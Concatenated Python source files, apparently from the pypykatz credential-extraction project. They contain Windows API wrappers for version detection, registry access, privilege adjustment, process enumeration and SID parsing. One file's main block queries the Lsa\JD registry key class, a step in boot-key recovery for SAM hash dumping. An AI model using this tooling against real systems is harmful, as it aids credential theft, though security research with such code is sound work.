485 return int(dwMajorVersion), int(dwMinorVersion), int(dwBuild)
486
487 # BOOL WINAPI GetVersionEx(
488 # __inout LPOSVERSIONINFO lpVersionInfo
489 # );
490 def GetVersionExA():
491 _GetVersionExA = windll.kernel32.GetVersionExA
492 _GetVersionExA.argtypes = [POINTER(OSVERSIONINFOEXA)]
493 _GetVersionExA.restype = bool
494 _GetVersionExA.errcheck = RaiseIfZero
495
496 osi = OSVERSIONINFOEXA()
497 osi.dwOSVersionInfoSize = sizeof(osi)
498 try:
499 _GetVersionExA(byref(osi))
500 except WindowsError:
501 osi = OSVERSIONINFOA()
502 osi.dwOSVersionInfoSize = sizeof(osi)
503 _GetVersionExA.argtypes = [POINTER(OSVERSIONINFOA)]
504 _GetVersionExA(byref(osi))
505 return osi
506
507 def GetVersionExW():
508 _GetVersionExW = windll.kernel32.GetVersionExW
509 _GetVersionExW.argtypes = [POINTER(OSVERSIONINFOEXW)]
510 _GetVersionExW.restype = bool
511 _GetVersionExW.errcheck = RaiseIfZero
512
513 osi = OSVERSIONINFOEXW()
514 osi.dwOSVersionInfoSize = sizeof(osi)
515 try:
516 _GetVersionExW(byref(osi))
517 except WindowsError:
518 osi = OSVERSIONINFOW()
519 osi.dwOSVersionInfoSize = sizeof(osi)
520 _GetVersionExW.argtypes = [POINTER(OSVERSIONINFOW)]
521 _GetVersionExW(byref(osi))
522 return osi
523
524 GetVersionEx = GuessStringType(GetVersionExA, GetVersionExW)
525
526 # BOOL WINAPI GetProductInfo(
527 # __in DWORD dwOSMajorVersion,
528 # __in DWORD dwOSMinorVersion,
529 # __in DWORD dwSpMajorVersion,
530 # __in DWORD dwSpMinorVersion,
531 # __out PDWORD pdwReturnedProductType
532 # );
533 def GetProductInfo(dwOSMajorVersion, dwOSMinorVersion, dwSpMajorVersion, dwSpMinorVersion):
534 _GetProductInfo = windll.kernel32.GetProductInfo
535 _GetProductInfo.argtypes = [DWORD, DWORD, DWORD, DWORD, PDWORD]
536 _GetProductInfo.restype = BOOL
537 _GetProductInfo.errcheck = RaiseIfZero
538
539 dwReturnedProductType = DWORD(0)
540 _GetProductInfo(dwOSMajorVersion, dwOSMinorVersion, dwSpMajorVersion, dwSpMinorVersion, byref(dwReturnedProductType))
541 return dwReturnedProductType.value
542
543 # BOOL WINAPI VerifyVersionInfo(
544 # __in LPOSVERSIONINFOEX lpVersionInfo,
545 # __in DWORD dwTypeMask,
546 # __in DWORDLONG dwlConditionMask
547 # );
548 def VerifyVersionInfo(lpVersionInfo, dwTypeMask, dwlConditionMask):
549 if isinstance(lpVersionInfo, OSVERSIONINFOEXA):
550 return VerifyVersionInfoA(lpVersionInfo, dwTypeMask, dwlConditionMask)
551 if isinstance(lpVersionInfo, OSVERSIONINFOEXW):
552 return VerifyVersionInfoW(lpVersionInfo, dwTypeMask, dwlConditionMask)
553 raise TypeError("Bad OSVERSIONINFOEX structure")
554
555 def VerifyVersionInfoA(lpVersionInfo, dwTypeMask, dwlConditionMask):
556 _VerifyVersionInfoA = windll.kernel32.VerifyVersionInfoA
557 _VerifyVersionInfoA.argtypes = [LPOSVERSIONINFOEXA, DWORD, DWORDLONG]
558 _VerifyVersionInfoA.restype = bool
559 return _VerifyVersionInfoA(byref(lpVersionInfo), dwTypeMask, dwlConditionMask)
560
561 def VerifyVersionInfoW(lpVersionInfo, dwTypeMask, dwlConditionMask):
562 _VerifyVersionInfoW = windll.kernel32.VerifyVersionInfoW
563 _VerifyVersionInfoW.argtypes = [LPOSVERSIONINFOEXW, DWORD, DWORDLONG]
564 _VerifyVersionInfoW.restype = bool
565 return _VerifyVersionInfoW(byref(lpVersionInfo), dwTypeMask, dwlConditionMask)
566
567 # ULONGLONG WINAPI VerSetConditionMask(
568 # __in ULONGLONG dwlConditionMask,
569 # __in DWORD dwTypeBitMask,
570 # __in BYTE dwConditionMask
571 # );
572 def VerSetConditionMask(dwlConditionMask, dwTypeBitMask, dwConditionMask):
573 _VerSetConditionMask = windll.kernel32.VerSetConditionMask
574 _VerSetConditionMask.argtypes = [ULONGLONG, DWORD, BYTE]
575 _VerSetConditionMask.restype = ULONGLONG
576 return _VerSetConditionMask(dwlConditionMask, dwTypeBitMask, dwConditionMask)
577
578 #--- get_bits, get_arch and get_os --------------------------------------------
579
580 ARCH_UNKNOWN = "unknown"
581 ARCH_I386 = "i386"
582 ARCH_MIPS = "mips"
583 ARCH_ALPHA = "alpha"
584 ARCH_PPC = "ppc"
585 ARCH_SHX = "shx"
586 ARCH_ARM = "arm"
587 ARCH_ARM64 = "arm64"
588 ARCH_THUMB = "thumb"
589 ARCH_IA64 = "ia64"
590 ARCH_ALPHA64 = "alpha64"
591 ARCH_MSIL = "msil"
592 ARCH_AMD64 = "amd64"
593 ARCH_SPARC = "sparc"
594
595 # aliases
596 ARCH_IA32 = ARCH_I386
597 ARCH_X86 = ARCH_I386
598 ARCH_X64 = ARCH_AMD64
599 ARCH_ARM7 = ARCH_ARM
600 ARCH_ARM8 = ARCH_ARM64
601 ARCH_T32 = ARCH_THUMB
602 ARCH_AARCH32 = ARCH_ARM7
603 ARCH_AARCH64 = ARCH_ARM8
604 ARCH_POWERPC = ARCH_PPC
605 ARCH_HITACHI = ARCH_SHX
606 ARCH_ITANIUM = ARCH_IA64
607
608 # win32 constants -> our constants
609 _arch_map = {
610 PROCESSOR_ARCHITECTURE_INTEL : ARCH_I386,
611 PROCESSOR_ARCHITECTURE_MIPS : ARCH_MIPS,
612 PROCESSOR_ARCHITECTURE_ALPHA : ARCH_ALPHA,
613 PROCESSOR_ARCHITECTURE_PPC : ARCH_PPC,
614 PROCESSOR_ARCHITECTURE_SHX : ARCH_SHX,
615 PROCESSOR_ARCHITECTURE_ARM : ARCH_ARM,
616 PROCESSOR_ARCHITECTURE_IA64 : ARCH_IA64,
617 PROCESSOR_ARCHITECTURE_ALPHA64 : ARCH_ALPHA64,
618 PROCESSOR_ARCHITECTURE_MSIL : ARCH_MSIL,
619 PROCESSOR_ARCHITECTURE_AMD64 : ARCH_AMD64,
620 PROCESSOR_ARCHITECTURE_SPARC : ARCH_SPARC,
621 }
622
623 OS_UNKNOWN = "Unknown"
624 OS_NT = "Windows NT"
625 OS_W2K = "Windows 2000"
626 OS_XP = "Windows XP"
627 OS_XP_64 = "Windows XP (64 bits)"
628 OS_W2K3 = "Windows 2003"
629 OS_W2K3_64 = "Windows 2003 (64 bits)"
630 OS_W2K3R2 = "Windows 2003 R2"
631 OS_W2K3R2_64 = "Windows 2003 R2 (64 bits)"
632 OS_W2K8 = "Windows 2008"
633 OS_W2K8_64 = "Windows 2008 (64 bits)"
634 OS_W2K8R2 = "Windows 2008 R2"
635 OS_W2K8R2_64 = "Windows 2008 R2 (64 bits)"
636 OS_VISTA = "Windows Vista"
637 OS_VISTA_64 = "Windows Vista (64 bits)"
638 OS_W7 = "Windows 7"
639 OS_W7_64 = "Windows 7 (64 bits)"
640
641 OS_SEVEN = OS_W7
642 OS_SEVEN_64 = OS_W7_64
643
644 OS_WINDOWS_NT = OS_NT
645 OS_WINDOWS_2000 = OS_W2K
646 OS_WINDOWS_XP = OS_XP
647 OS_WINDOWS_XP_64 = OS_XP_64
648 OS_WINDOWS_2003 = OS_W2K3
649 OS_WINDOWS_2003_64 = OS_W2K3_64
650 OS_WINDOWS_2003_R2 = OS_W2K3R2
651 OS_WINDOWS_2003_R2_64 = OS_W2K3R2_64
652 OS_WINDOWS_2008 = OS_W2K8
653 OS_WINDOWS_2008_64 = OS_W2K8_64
654 OS_WINDOWS_2008_R2 = OS_W2K8R2
655 OS_WINDOWS_2008_R2_64 = OS_W2K8R2_64
656 OS_WINDOWS_VISTA = OS_VISTA
657 OS_WINDOWS_VISTA_64 = OS_VISTA_64
658 OS_WINDOWS_SEVEN = OS_W7
659 OS_WINDOWS_SEVEN_64 = OS_W7_64
660
661 def _get_bits():
662 """
663 Determines the current integer size in bits.
664
665 This is useful to know if we're running in a 32 bits or a 64 bits machine.
666
667 @rtype: int
668 @return: Returns the size of L{SIZE_T} in bits.
669 """
670 return sizeof(SIZE_T) * 8
671
672 def _get_arch():
673 """
674 Determines the current processor architecture.
675
676 @rtype: str
677 @return:
678 On error, returns:
679
680 - L{ARCH_UNKNOWN} (C{"unknown"}) meaning the architecture could not be detected or is not known to WinAppDbg.
681
682 On success, returns one of the following values:
683
684 - L{ARCH_I386} (C{"i386"}) for Intel 32-bit x86 processor or compatible.
685 - L{ARCH_AMD64} (C{"amd64"}) for Intel 64-bit x86_64 processor or compatible.
686
687 May also return one of the following values if you get both Python and
688 WinAppDbg to work in such machines... let me know if you do! :)
689
690 - L{ARCH_MIPS} (C{"mips"}) for MIPS compatible processors.
691 - L{ARCH_ALPHA} (C{"alpha"}) for Alpha processors.
692 - L{ARCH_PPC} (C{"ppc"}) for PowerPC compatible processors.
693 - L{ARCH_SHX} (C{"shx"}) for Hitachi SH processors.
694 - L{ARCH_ARM} (C{"arm"}) for ARM compatible processors.
695 - L{ARCH_IA64} (C{"ia64"}) for Intel Itanium processor or compatible.
696 - L{ARCH_ALPHA64} (C{"alpha64"}) for Alpha64 processors.
697 - L{ARCH_MSIL} (C{"msil"}) for the .NET virtual machine.
698 - L{ARCH_SPARC} (C{"sparc"}) for Sun Sparc processors.
699
700 Probably IronPython returns C{ARCH_MSIL} but I haven't tried it. Python
701 on Windows CE and Windows Mobile should return C{ARCH_ARM}. Python on
702 Solaris using Wine would return C{ARCH_SPARC}. Python in an Itanium
703 machine should return C{ARCH_IA64} both on Wine and proper Windows.
704 All other values should only be returned on Linux using Wine.
705 """
706 try:
707 si = GetNativeSystemInfo()
708 except Exception:
709 si = GetSystemInfo()
710 try:
711 return _arch_map[si.id.w.wProcessorArchitecture]
712 except KeyError:
713 return ARCH_UNKNOWN
714
715 def _get_wow64():
716 """
717 Determines if the current process is running in Windows-On-Windows 64 bits.
718
719 @rtype: bool
720 @return: C{True} of the current process is a 32 bit program running in a
721 64 bit version of Windows, C{False} if it's either a 32 bit program
722 in a 32 bit Windows or a 64 bit program in a 64 bit Windows.
723 """
724 # Try to determine if the debugger itself is running on WOW64.
725 # On error assume False.
726 if bits == 64:
727 wow64 = False
728 else:
729 try:
730 wow64 = IsWow64Process( GetCurrentProcess() )
731 except Exception:
732 wow64 = False
733 return wow64
734
735 def _get_os(osvi = None):
736 """
737 Determines the current operating system.
738
739 This function allows you to quickly tell apart major OS differences.
740 For more detailed information call L{GetVersionEx} instead.
741
742 @note:
743 Wine reports itself as Windows XP 32 bits
744 (even if the Linux host is 64 bits).
745 ReactOS may report itself as Windows 2000 or Windows XP,
746 depending on the version of ReactOS.
747
748 @type osvi: L{OSVERSIONINFOEXA}
749 @param osvi: Optional. The return value from L{GetVersionEx}.
750
751 @rtype: str
752 @return:
753 One of the following values:
754 - L{OS_UNKNOWN} (C{"Unknown"})
755 - L{OS_NT} (C{"Windows NT"})
756 - L{OS_W2K} (C{"Windows 2000"})
757 - L{OS_XP} (C{"Windows XP"})
758 - L{OS_XP_64} (C{"Windows XP (64 bits)"})
759 - L{OS_W2K3} (C{"Windows 2003"})
760 - L{OS_W2K3_64} (C{"Windows 2003 (64 bits)"})
761 - L{OS_W2K3R2} (C{"Windows 2003 R2"})
762 - L{OS_W2K3R2_64} (C{"Windows 2003 R2 (64 bits)"})
763 - L{OS_W2K8} (C{"Windows 2008"})
764 - L{OS_W2K8_64} (C{"Windows 2008 (64 bits)"})
765 - L{OS_W2K8R2} (C{"Windows 2008 R2"})
766 - L{OS_W2K8R2_64} (C{"Windows 2008 R2 (64 bits)"})
767 - L{OS_VISTA} (C{"Windows Vista"})
768 - L{OS_VISTA_64} (C{"Windows Vista (64 bits)"})
769 - L{OS_W7} (C{"Windows 7"})
770 - L{OS_W7_64} (C{"Windows 7 (64 bits)"})
771 """
772 # rough port of http://msdn.microsoft.com/en-us/library/ms724429%28VS.85%29.aspx
773 if not osvi:
774 osvi = GetVersionEx()
775 if osvi.dwPlatformId == VER_PLATFORM_WIN32_NT and osvi.dwMajorVersion > 4:
776 if osvi.dwMajorVersion == 6:
777 if osvi.dwMinorVersion == 0:
778 if osvi.wProductType == VER_NT_WORKSTATION:
779 if bits == 64 or wow64:
780 return 'Windows Vista (64 bits)'
781 return 'Windows Vista'
782 else:
783 if bits == 64 or wow64:
784 return 'Windows 2008 (64 bits)'
785 return 'Windows 2008'
786 if osvi.dwMinorVersion == 1:
787 if osvi.wProductType == VER_NT_WORKSTATION:
788 if bits == 64 or wow64:
789 return 'Windows 7 (64 bits)'
790 return 'Windows 7'
791 else:
792 if bits == 64 or wow64:
793 return 'Windows 2008 R2 (64 bits)'
794 return 'Windows 2008 R2'
795 if osvi.dwMajorVersion == 5:
796 if osvi.dwMinorVersion == 2:
797 if GetSystemMetrics(SM_SERVERR2):
798 if bits == 64 or wow64:
799 return 'Windows 2003 R2 (64 bits)'
800 return 'Windows 2003 R2'
801 if osvi.wSuiteMask in (VER_SUITE_STORAGE_SERVER, VER_SUITE_WH_SERVER):
802 if bits == 64 or wow64:
803 return 'Windows 2003 (64 bits)'
804 return 'Windows 2003'
805 if osvi.wProductType == VER_NT_WORKSTATION and arch == ARCH_AMD64:
806 return 'Windows XP (64 bits)'
807 else:
808 if bits == 64 or wow64:
809 return 'Windows 2003 (64 bits)'
810 return 'Windows 2003'
811 if osvi.dwMinorVersion == 1:
812 return 'Windows XP'
813 if osvi.dwMinorVersion == 0:
814 return 'Windows 2000'
815 if osvi.dwMajorVersion == 4:
816 return 'Windows NT'
817 return 'Unknown'
818
819 def _get_ntddi(osvi):
820 """
821 Determines the current operating system.
822
823 This function allows you to quickly tell apart major OS differences.
824 For more detailed information call L{kernel32.GetVersionEx} instead.
825
826 @note:
827 Wine reports itself as Windows XP 32 bits
828 (even if the Linux host is 64 bits).
829 ReactOS may report itself as Windows 2000 or Windows XP,
830 depending on the version of ReactOS.
831
832 @type osvi: L{OSVERSIONINFOEXA}
833 @param osvi: Optional. The return value from L{kernel32.GetVersionEx}.
834
835 @rtype: int
836 @return: NTDDI version number.
837 """
838 if not osvi:
839 osvi = GetVersionEx()
840 ntddi = 0
841 ntddi += (osvi.dwMajorVersion & 0xFF) << 24
842 ntddi += (osvi.dwMinorVersion & 0xFF) << 16
843 ntddi += (osvi.wServicePackMajor & 0xFF) << 8
844 ntddi += (osvi.wServicePackMinor & 0xFF)
845 return ntddi
846
847 # The order of the following definitions DOES matter!
848
849 # Current integer size in bits. See L{_get_bits} for more details.
850 bits = _get_bits()
851
852 # Current processor architecture. See L{_get_arch} for more details.
853 arch = _get_arch()
854
855 # Set to C{True} if the current process is running in WOW64. See L{_get_wow64} for more details.
856 wow64 = _get_wow64()
857
858 _osvi = GetVersionEx()
859
860 # Current operating system. See L{_get_os} for more details.
861 os = _get_os(_osvi)
862
863 # Current operating system as an NTDDI constant. See L{_get_ntddi} for more details.
864 NTDDI_VERSION = _get_ntddi(_osvi)
865
866 # Upper word of L{NTDDI_VERSION}, contains the OS major and minor version number.
867 WINVER = NTDDI_VERSION >> 16
868
869 #--- version.dll --------------------------------------------------------------
870
871 VS_FF_DEBUG = 0x00000001
872 VS_FF_PRERELEASE = 0x00000002
873 VS_FF_PATCHED = 0x00000004
874 VS_FF_PRIVATEBUILD = 0x00000008
875 VS_FF_INFOINFERRED = 0x00000010
876 VS_FF_SPECIALBUILD = 0x00000020
877
878 VOS_UNKNOWN = 0x00000000
879 VOS__WINDOWS16 = 0x00000001
880 VOS__PM16 = 0x00000002
881 VOS__PM32 = 0x00000003
882 VOS__WINDOWS32 = 0x00000004
883 VOS_DOS = 0x00010000
884 VOS_OS216 = 0x00020000
885 VOS_OS232 = 0x00030000
886 VOS_NT = 0x00040000
887
888 VOS_DOS_WINDOWS16 = 0x00010001
889 VOS_DOS_WINDOWS32 = 0x00010004
890 VOS_NT_WINDOWS32 = 0x00040004
891 VOS_OS216_PM16 = 0x00020002
892 VOS_OS232_PM32 = 0x00030003
893
894 VFT_UNKNOWN = 0x00000000
895 VFT_APP = 0x00000001
896 VFT_DLL = 0x00000002
897 VFT_DRV = 0x00000003
898 VFT_FONT = 0x00000004
899 VFT_VXD = 0x00000005
900 VFT_RESERVED = 0x00000006 # undocumented
901 VFT_STATIC_LIB = 0x00000007
902
903 VFT2_UNKNOWN = 0x00000000
904
905 VFT2_DRV_PRINTER = 0x00000001
906 VFT2_DRV_KEYBOARD = 0x00000002
907 VFT2_DRV_LANGUAGE = 0x00000003
908 VFT2_DRV_DISPLAY = 0x00000004
909 VFT2_DRV_MOUSE = 0x00000005
910 VFT2_DRV_NETWORK = 0x00000006
911 VFT2_DRV_SYSTEM = 0x00000007
912 VFT2_DRV_INSTALLABLE = 0x00000008
913 VFT2_DRV_SOUND = 0x00000009
914 VFT2_DRV_COMM = 0x0000000A
915 VFT2_DRV_RESERVED = 0x0000000B # undocumented
916 VFT2_DRV_VERSIONED_PRINTER = 0x0000000C
917
918 VFT2_FONT_RASTER = 0x00000001
919 VFT2_FONT_VECTOR = 0x00000002
920 VFT2_FONT_TRUETYPE = 0x00000003
921
922 # typedef struct tagVS_FIXEDFILEINFO {
923 # DWORD dwSignature;
924 # DWORD dwStrucVersion;
925 # DWORD dwFileVersionMS;
926 # DWORD dwFileVersionLS;
927 # DWORD dwProductVersionMS;
928 # DWORD dwProductVersionLS;
929 # DWORD dwFileFlagsMask;
930 # DWORD dwFileFlags;
931 # DWORD dwFileOS;
932 # DWORD dwFileType;
933 # DWORD dwFileSubtype;
934 # DWORD dwFileDateMS;
935 # DWORD dwFileDateLS;
936 # } VS_FIXEDFILEINFO;
937 class VS_FIXEDFILEINFO(Structure):
938 _fields_ = [
939 ("dwSignature", DWORD),
940 ("dwStrucVersion", DWORD),
941 ("dwFileVersionMS", DWORD),
942 ("dwFileVersionLS", DWORD),
943 ("dwProductVersionMS", DWORD),
944 ("dwProductVersionLS", DWORD),
945 ("dwFileFlagsMask", DWORD),
946 ("dwFileFlags", DWORD),
947 ("dwFileOS", DWORD),
948 ("dwFileType", DWORD),
949 ("dwFileSubtype", DWORD),
950 ("dwFileDateMS", DWORD),
951 ("dwFileDateLS", DWORD),
952 ]
953 PVS_FIXEDFILEINFO = POINTER(VS_FIXEDFILEINFO)
954 LPVS_FIXEDFILEINFO = PVS_FIXEDFILEINFO
955
956 # BOOL WINAPI GetFileVersionInfo(
957 # _In_ LPCTSTR lptstrFilename,
958 # _Reserved_ DWORD dwHandle,
959 # _In_ DWORD dwLen,
960 # _Out_ LPVOID lpData
961 # );
962 # DWORD WINAPI GetFileVersionInfoSize(
963 # _In_ LPCTSTR lptstrFilename,
964 # _Out_opt_ LPDWORD lpdwHandle
965 # );
966 def GetFileVersionInfoA(lptstrFilename):
967 _GetFileVersionInfoA = windll.version.GetFileVersionInfoA
968 _GetFileVersionInfoA.argtypes = [LPSTR, DWORD, DWORD, LPVOID]
969 _GetFileVersionInfoA.restype = bool
970 _GetFileVersionInfoA.errcheck = RaiseIfZero
971
972 _GetFileVersionInfoSizeA = windll.version.GetFileVersionInfoSizeA
973 _GetFileVersionInfoSizeA.argtypes = [LPSTR, LPVOID]
974 _GetFileVersionInfoSizeA.restype = DWORD
975 _GetFileVersionInfoSizeA.errcheck = RaiseIfZero
976
977 dwLen = _GetFileVersionInfoSizeA(lptstrFilename, None)
978 lpData = ctypes.create_string_buffer(dwLen)
979 _GetFileVersionInfoA(lptstrFilename, 0, dwLen, byref(lpData))
980 return lpData
981
982 def GetFileVersionInfoW(lptstrFilename):
983 _GetFileVersionInfoW = windll.version.GetFileVersionInfoW
984 _GetFileVersionInfoW.argtypes = [LPWSTR, DWORD, DWORD, LPVOID]
985 _GetFileVersionInfoW.restype = bool
986 _GetFileVersionInfoW.errcheck = RaiseIfZero
987
988 _GetFileVersionInfoSizeW = windll.version.GetFileVersionInfoSizeW
989 _GetFileVersionInfoSizeW.argtypes = [LPWSTR, LPVOID]
990 _GetFileVersionInfoSizeW.restype = DWORD
991 _GetFileVersionInfoSizeW.errcheck = RaiseIfZero
992
993 dwLen = _GetFileVersionInfoSizeW(lptstrFilename, None)
994 lpData = ctypes.create_string_buffer(dwLen) # not a string!
995 _GetFileVersionInfoW(lptstrFilename, 0, dwLen, byref(lpData))
996 return lpData
997
998 GetFileVersionInfo = GuessStringType(GetFileVersionInfoA, GetFileVersionInfoW)
999
1000 # BOOL WINAPI VerQueryValue(
1001 # _In_ LPCVOID pBlock,
1002 # _In_ LPCTSTR lpSubBlock,
1003 # _Out_ LPVOID *lplpBuffer,
1004 # _Out_ PUINT puLen
1005 # );
1006 def VerQueryValueA(pBlock, lpSubBlock):
1007 _VerQueryValueA = windll.version.VerQueryValueA
1008 _VerQueryValueA.argtypes = [LPVOID, LPSTR, LPVOID, POINTER(UINT)]
1009 _VerQueryValueA.restype = bool
1010 _VerQueryValueA.errcheck = RaiseIfZero
1011
1012 lpBuffer = LPVOID(0)
1013 uLen = UINT(0)
1014 _VerQueryValueA(pBlock, lpSubBlock, byref(lpBuffer), byref(uLen))
1015 return lpBuffer, uLen.value
1016
1017 def VerQueryValueW(pBlock, lpSubBlock):
1018 _VerQueryValueW = windll.version.VerQueryValueW
1019 _VerQueryValueW.argtypes = [LPVOID, LPWSTR, LPVOID, POINTER(UINT)]
1020 _VerQueryValueW.restype = bool
1021 _VerQueryValueW.errcheck = RaiseIfZero
1022
1023 lpBuffer = LPVOID(0)
1024 uLen = UINT(0)
1025 _VerQueryValueW(pBlock, lpSubBlock, byref(lpBuffer), byref(uLen))
1026 return lpBuffer, uLen.value
1027
1028 VerQueryValue = GuessStringType(VerQueryValueA, VerQueryValueW)
1029
1030 #==============================================================================
1031 # This calculates the list of exported symbols.
1032 _all = set(vars().keys()).difference(_all)
1033 __all__ = [_x for _x in _all if not _x.startswith('_')]
1034 __all__.sort()
1035 #==============================================================================
0 import ctypes
1 import winreg
2 from pypykatz.commons.readers.local.common.defines import *
3
4 # https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regopenkeya
5 def RegOpenKey(key_handle, key_path):
6 _RegOpenKey = windll.Advapi32.RegOpenKeyA
7 _RegOpenKey.argtypes = [HANDLE, LPSTR, PHANDLE]
8 _RegOpenKey.restype = bool
9 _RegOpenKey.errcheck = RaiseIfNotZero
10
11 lpClass = ctypes.create_string_buffer(key_path.encode())
12 key_handle_new = HANDLE()
13
14 res = _RegOpenKey(key_handle, lpClass, byref(key_handle_new))
15
16 return key_handle_new
17
18 # https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regqueryinfokeya
19 def RegQueryInfoKey(key_handle):
20 _RegQueryInfoKey = windll.Advapi32.RegQueryInfoKeyA
21 _RegQueryInfoKey.argtypes = [HKEY, LPSTR, LPDWORD, LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,PVOID]
22 _RegQueryInfoKey.restype = bool
23 _RegQueryInfoKey.errcheck = RaiseIfNotZero
24
25 lpClass = ctypes.create_string_buffer(b"", 255)
26 lpcchClass = DWORD(255)
27 lpReserved = DWORD(0)
28 lpcSubKeys = DWORD(0)
29 lpcbMaxSubKeyLen = DWORD(0)
30 lpcbMaxClassLen = DWORD(0)
31 lpcValues = DWORD(0)
32 lpcbMaxValueNameLen = DWORD(0)
33 lpcbMaxValueLen = DWORD(0)
34 lpcbSecurityDescriptor = DWORD(0)
35 lpftLastWriteTime = None
36
37 res = _RegQueryInfoKey(key_handle, lpClass, lpcchClass, None, lpcSubKeys, lpcbMaxSubKeyLen, lpcbMaxClassLen, lpcValues, lpcbMaxValueNameLen, lpcbMaxValueLen, lpcbSecurityDescriptor, lpftLastWriteTime)
38
39 return (lpClass.value, lpcSubKeys, lpcbMaxSubKeyLen, lpcbMaxClassLen,
40 lpcValues, lpcbMaxValueNameLen, lpcbMaxValueLen,
41 lpcbSecurityDescriptor, lpftLastWriteTime)
42
43 if __name__ == '__main__':
44 pkey = winreg.HKEY_LOCAL_MACHINE
45 for name in 'SYSTEM\\ControlSet001\\Control\\Lsa\\JD'.split('\\'):
46 pkey = RegOpenKey(pkey, name)
47
48 ki = RegQueryInfoKey(pkey)
49 print(ki[0])
0 from pypykatz.commons.winapi.local.function_defs.kernel32 import OpenProcess, CloseHandle, GetCurrentProcessId
1
2
3 class KERNEL32:
4 def __init__(self):
5 pass
6
7 @staticmethod
8 def OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId):
9 return OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId)
10
11 @staticmethod
12 def CloseHandle(any_handle):
13 CloseHandle(any_handle)
14
15 @staticmethod
16 def GetCurrentProcessId():
17 return GetCurrentProcessId()
0
1 from pypykatz.commons.winapi.local.ntdll import NTDLL
2 from pypykatz.commons.winapi.local.advapi32 import ADVAPI32
3 from pypykatz.commons.winapi.local.psapi import PSAPI
4 from pypykatz.commons.winapi.local.kernel32 import KERNEL32
5
6 class LocalWindowsAPI:
7 def __init__(self):
8 self.ntdll = NTDLL
9 self.advapi32 = ADVAPI32
10 self.psapi = PSAPI
11 self.kernel32 = KERNEL32
0
1 from pypykatz.commons.winapi.local.function_defs.ntdll import RtlAdjustPrivilege
2
3
4 class NTDLL:
5 def __init__(self):
6 pass
7
8 @staticmethod
9 def RtlAdjustPrivilege(privilige_id, enable = True, thread_or_process = False):
10 return RtlAdjustPrivilege(privilige_id, enable = True, thread_or_process = False)
0 from pypykatz.commons.winapi.local.function_defs.psapi import EnumProcesses
1
2
3 class PSAPI:
4 def __init__(self):
5 pass
6
7 @staticmethod
8 def EnumProcesses():
9 return EnumProcesses()
10
0 import io
1 import ctypes
2
3 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/f992ad60-0fe4-4b87-9fed-beb478836861
4 class SID:
5 def __init__(self):
6 self.Revision = None
7 self.SubAuthorityCount = None
8 self.IdentifierAuthority = None
9 self.SubAuthority = []
10
11 self.wildcard = None #this is for well-known-sid lookups
12
13 @staticmethod
14 def from_string(sid_str, wildcard = False):
15 if sid_str[:4] != 'S-1-':
16 raise Exception('This is not a SID')
17 sid = SID()
18 sid.wildcard = wildcard
19 sid.Revision = 1
20 sid_str = sid_str[4:]
21 t = sid_str.split('-')[0]
22 if t[:2] == '0x':
23 print(t[2:])
24 sid.IdentifierAuthority = int(t[2:],16)
25 else:
26 sid.IdentifierAuthority = int(t)
27
28 for p in sid_str.split('-')[1:]:
29 try:
30 p = int(p)
31 except Exception as e:
32 if wildcard != True:
33 raise e
34 sid.SubAuthority.append(p)
35 return sid
36
37 @staticmethod
38 def from_address(addr):
39 data = ctypes.string_at(addr, size = 8)
40 cnt = data[1] #SubAuthorityCount
41 data += ctypes.string_at(addr+8, size = (cnt*4))
42 return SID.from_bytes(data)
43
44 @staticmethod
45 def from_bytes(data):
46 return SID.from_buffer(io.BytesIO(data))
47
48 @staticmethod
49 def from_buffer(buff):
50 sid = SID()
51 sid.Revision = int.from_bytes(buff.read(1), 'little', signed = False)
52 sid.SubAuthorityCount = int.from_bytes(buff.read(1), 'little', signed = False)
53 sid.IdentifierAuthority = int.from_bytes(buff.read(6), 'big', signed = False)
54 for i in range(sid.SubAuthorityCount):
55 sid.SubAuthority.append(int.from_bytes(buff.read(4), 'little', signed = False))
56 return sid
57
58 def to_bytes(self):
59 t = self.Revision.to_bytes(1, 'little')
60 t += len(self.SubAuthority).to_bytes(1, 'little')
61 t += self.IdentifierAuthority.to_bytes(6, 'big')
62 for i in self.SubAuthority:
63 t += i.to_bytes((i.bit_length() + 7) // 8, 'little')
64 return t
65
66 def __str__(self):
67 t = 'S-1-'
68 if self.IdentifierAuthority < 2**32:
69 t += str(self.IdentifierAuthority)
70 else:
71 t += '0x' + self.IdentifierAuthority.to_bytes(6, 'big').hex().upper().rjust(12, '0')
72 for i in self.SubAuthority:
73 t += '-' + str(i)
74 return t
75
76 well_known_sids = {
77 'NULL' : SID.from_string('S-1-0-0', True),
78 'EVERYONE' : SID.from_string('S-1-1-0', True),
79 'LOCAL' : SID.from_string('S-1-2-0', True),
80 'CONSOLE_LOGON' : SID.from_string('S-1-2-1', True),
81 'CREATOR_OWNER' : SID.from_string('S-1-3-0', True),
82 'CREATOR_GROUP' : SID.from_string('S-1-3-1', True),
83 'OWNER_SERVER' : SID.from_string('S-1-3-2', True),
84 'GROUP_SERVER' : SID.from_string('S-1-3-3', True),
85 'OWNER_RIGHTS' : SID.from_string('S-1-3-4', True),
86 'NT_AUTHORITY' : SID.from_string('S-1-5', True),
87 'DIALUP' : SID.from_string('S-1-5-1', True),
88 'NETWORK' : SID.from_string('S-1-5-2', True),
89 'BATCH' : SID.from_string('S-1-5-3', True),
90 'INTERACTIVE' : SID.from_string('S-1-5-4', True),
91 'LOGON_ID' : SID.from_string('S-1-5-5-x-y', True),
92 'SERVICE' : SID.from_string('S-1-5-6', True),
93 'ANONYMOUS' : SID.from_string('S-1-5-7', True),
94 'PROXY' : SID.from_string('S-1-5-8', True),
95 'ENTERPRISE_DOMAIN_CONTROLLERS' : SID.from_string('S-1-5-9', True),
96 'PRINCIPAL_SELF' : SID.from_string('S-1-5-10', True),
97 'AUTHENTICATED_USERS' : SID.from_string('S-1-5-11', True),
98 'RESTRICTED_CODE' : SID.from_string('S-1-5-12', True),
99 'TERMINAL_SERVER_USER' : SID.from_string('S-1-5-13', True),
100 'REMOTE_INTERACTIVE_LOGON' : SID.from_string('S-1-5-14', True),
101 'THIS_ORGANIZATION' : SID.from_string('S-1-5-15', True),
102 'IUSR' : SID.from_string('S-1-5-17', True),
103 'LOCAL_SYSTEM' : SID.from_string('S-1-5-18', True),
104 'LOCAL_SERVICE' : SID.from_string('S-1-5-19', True),
